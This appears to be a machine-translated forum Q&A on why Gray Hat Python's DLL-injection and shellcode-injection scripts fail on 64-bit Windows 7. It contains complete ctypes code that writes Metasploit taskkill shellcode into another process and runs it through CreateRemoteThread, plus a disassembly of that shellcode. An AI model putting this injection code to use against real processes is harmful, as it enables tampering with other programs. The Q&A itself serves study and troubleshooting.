2012-06-12 49 views
0

我正在閱讀Gray Hat Python一書,並且在遇到上述注入技巧時遇到了麻煩。CreateRemoteThread()未按預期行事

DLL注入代碼工作正常,但dll中的代碼看起來不會執行,並且不會創建消息框。

代碼注入聲明已成功執行,但終止進程的shellcode無法正確執行,接收注入的進程立即停止工作。

由於Windows 7和這本書只是有點過時了這些問題嗎?或者還可能有其他問題?我正在運行Windows 7旗艦版64位。

不管怎麼說,這裏是代碼:

dll_inject.py

import sys 
from ctypes import * 

PAGE_READWRITE  = 0x04 
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF) 
VIRTUAL_MEM   = (0x1000 | 0x2000) 

kernel32 = windll.kernel32 
pid   = sys.argv[1] 
dll_path = sys.argv[2] 

dll_len = len(dll_path) 

#Get a handle to the process we are injecting into 
h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid)) 

if not h_process: 
    print "[*} Couldn't acquire a handle to PID: %s" % pid 
    sys.exit(0) 

#Allocate some space for the DLL path 
arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE) 

#Write the DLL path into the allocated space 
written = c_int(0) 
kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written)) 

#We need to resolve the address for LoadLibraryA 
h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") 
h_loadlib = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA") 

#Now we try to create the remote thread, with the entry point set to 
#LoadlibraryA and a pointer to the DLL path as its single parameter 
thread_id = c_ulong(0) 

if not kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_address, 
            0, byref(thread_id)): 
    print "[*] Failed in inject DLL. Exting." 
    sys.exit(0) 

code_inject.py

import sys 
from ctypes import * 

#We set the EXECUTE access mask so that our shellcode will 
#execute in the memory block we have allocated 
PAGE_EXECUTE_READWRITE = 0x00000040 
PROCESS_ALL_ACCESS  = (0x000F0000 | 0x00100000 | 0xFFF) 
VIRTUAL_MEM    = (0x1000 | 0x2000) 

if not sys.argv[1] or not sys.argv[2]: 
    print "Code Injector: ./code_injector.py <pid to inject> <pid to kill>" 
    sys.exit(0) 

kernel32 = windll.kernel32 
pid   = int(sys.argv[1]) 
pid_to_kill = sys.argv[2] 

# win32_exec - EXITFUNC=thread CMD=taskkill /PID AAAAAAAA Size=152 
# Encoder=None http://metasploit.com 

shellcode = \ 
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \ 
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \ 
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \ 
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \ 
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \ 
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \ 
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \ 
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \ 
"\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \ 
"\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00" 

padding   = 4 - (len(pid_to_kill)) 
replace_value = pid_to_kill + ("\x00" * padding) 
replace_string = "\x41" * 4 

shellcode  = shellcode.replace(replace_string, replace_value) 
code_size  = len(shellcode) 

#Get a handle to the process we are injecting into. 
h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid)) 

if not h_process: 
    print "[*] Couldn't acquire a handle to PID: %s" % pid 
    sys.exit(0) 

#Allocate some space for the shellcode 
arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size, 
             VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) 

#Write out the shellcode 
written = c_int(0) 
kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, 
          byref(written)) 

#Now we create the remote thread and point its entry routine 
#to be head of our shellcode 
thread_id = c_ulong(0) 

if not kernel32.CreateRemoteThread(h_process, None, 0, arg_address, None, 
            0, byref(thread_id)): 
    print "[*] Failed to inject process-killing shellcode. Exiting." 
    sys.exit(0) 

print "[*] Remote thread created with a thread ID of: 0x%0xx" % thread_id.value 
print "[*] Process %s should not be running anymore!" % pid_to_kill 
print "[*] Remote thread with ID 0x%08x created" % thread_id.value 

injected.dll

// dllmain.cpp : Defines the entry point for the DLL application. 
#include "stdafx.h" 

BOOL APIENTRY DllMain(HMODULE hModule, 
         DWORD ul_reason_for_call, 
         LPVOID lpReserved 
    ) 
{ 
switch (ul_reason_for_call) 
{ 
case DLL_PROCESS_ATTACH: 
     MessageBoxA(NULL,"Hello from the process!","I am inside the process you injected!",MB_OK); 
case DLL_THREAD_ATTACH: 
case DLL_THREAD_DETACH: 
case DLL_PROCESS_DETACH: 
    break; 
} 
return TRUE; 
} 
+0

您是否正在注入64位進程?我的猜測是shellcode不是64位友好的。我也會確定你的應用程序是以管理權限運行的 - 這個代碼最初是爲Windows XP編寫的,並沒有考慮Windows 7的任何安全功能。 –

+0

64位Windows 7甚至不支持createremotethread函數。但是,如果這是問題,我相信Windows 7支持相同的功能。 –

回答

1

我已經在這裏搜索了幾次,但是從我看到的所有答案來看,Python的ctypes模塊即使在64位版本的Python上也能正常工作。我個人還沒有能夠獲得遠程代碼注入來正確運行,但說實話,我沒有花太多時間來嘗試排除它的故障。至於你的具體問題:

我發現在使用ctypes時發現的一件事情是,當你明確指定argtypes和restype時,它往往會更加合作。其實,如果我沒有記錯的話,我有幾乎相同的代碼,直到我指定涉及的類型時才拒絕正常工作。我有一個an older version of one of my repositories,其中包含您在名爲_kernel32.py的文件中使用的API的所有聲明。嘗試插入這些聲明並查看是否修復了dll_inject.py腳本。

至於code_inject.py腳本,我覺得TreeMonkie的評論是正確的。雖然64位反彙編器不轉了什麼我真的可以遵循,拆解它與32位指令打開了以下內容:

.686p 
.mmx 
.model flat 

; Segment type: Pure code 
seg000 segment byte public 'CODE' use32 
    assume cs:seg000 
    assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing 
     cld 
     call sub_4A 
     mov eax, [ebp+3Ch] 
     mov edi, [ebp+eax+78h] 
     add edi, ebp 
     mov ecx, [edi+18h] 
     mov ebx, [edi+20h] 
     add ebx, ebp 

     loc_17: 
     dec ecx 
     mov esi, [ebx+ecx*4] 
     add esi, ebp 
     xor eax, eax 
     cdq 

     loc_20: 
     lodsb 
     test al, al 
     jz short loc_2C 
     ror edx, 0Dh 
     add edx, eax 
     jmp short loc_20 

     loc_2C: 
     cmp edx, [esp+4] 
     jnz short loc_17 
     mov ebx, [edi+24h] 
     add ebx, ebp 
     mov cx, [ebx+ecx*2] 
     mov ebx, [edi+1Ch] 
     add ebx, ebp 
     mov ebx, [ebx+ecx*4] 
     add ebx, ebp 
     mov [esp+4], ebx 
     retn 



    sub_4A proc near 
     xor eax, eax 
     mov eax, fs:[eax+30h] 
     test eax, eax 
     js short loc_60 
     mov eax, [eax+0Ch] 
     mov esi, [eax+1Ch] 
     lodsd 
     mov ebp, [eax+8] 
     jmp short loc_69 

     loc_60: 
     mov eax, [eax+0B0h] 
     mov ebp, [eax+3Ch] 

     loc_69: 
     pop edi 
     xor esi, esi 
     pusha 
     push esi 
     mov eax, edi 
     add eax, 7Bh 
     push eax 
     push 60E0CEEFh 
     push 0E8AFE98h 
     push edi 
     jmp edi 
    sub_4A endp 

    strCmd_exeCTask db 'cmd.exe /c taskkill /PID AAAA',0 
    seg000 ends 
end 

不管怎麼說,如果是這樣,其實32位的shellcode,它的不會在64位進程中工作。 (雖然我會說,鑑於我在64位程序集上閱讀的內容很少,很可能我錯了32位)

最後,您可能想查看dllinject.py file in the pyinject project。看起來好像他在他的類中實現了遠程shellcode注入。

希望有所幫助。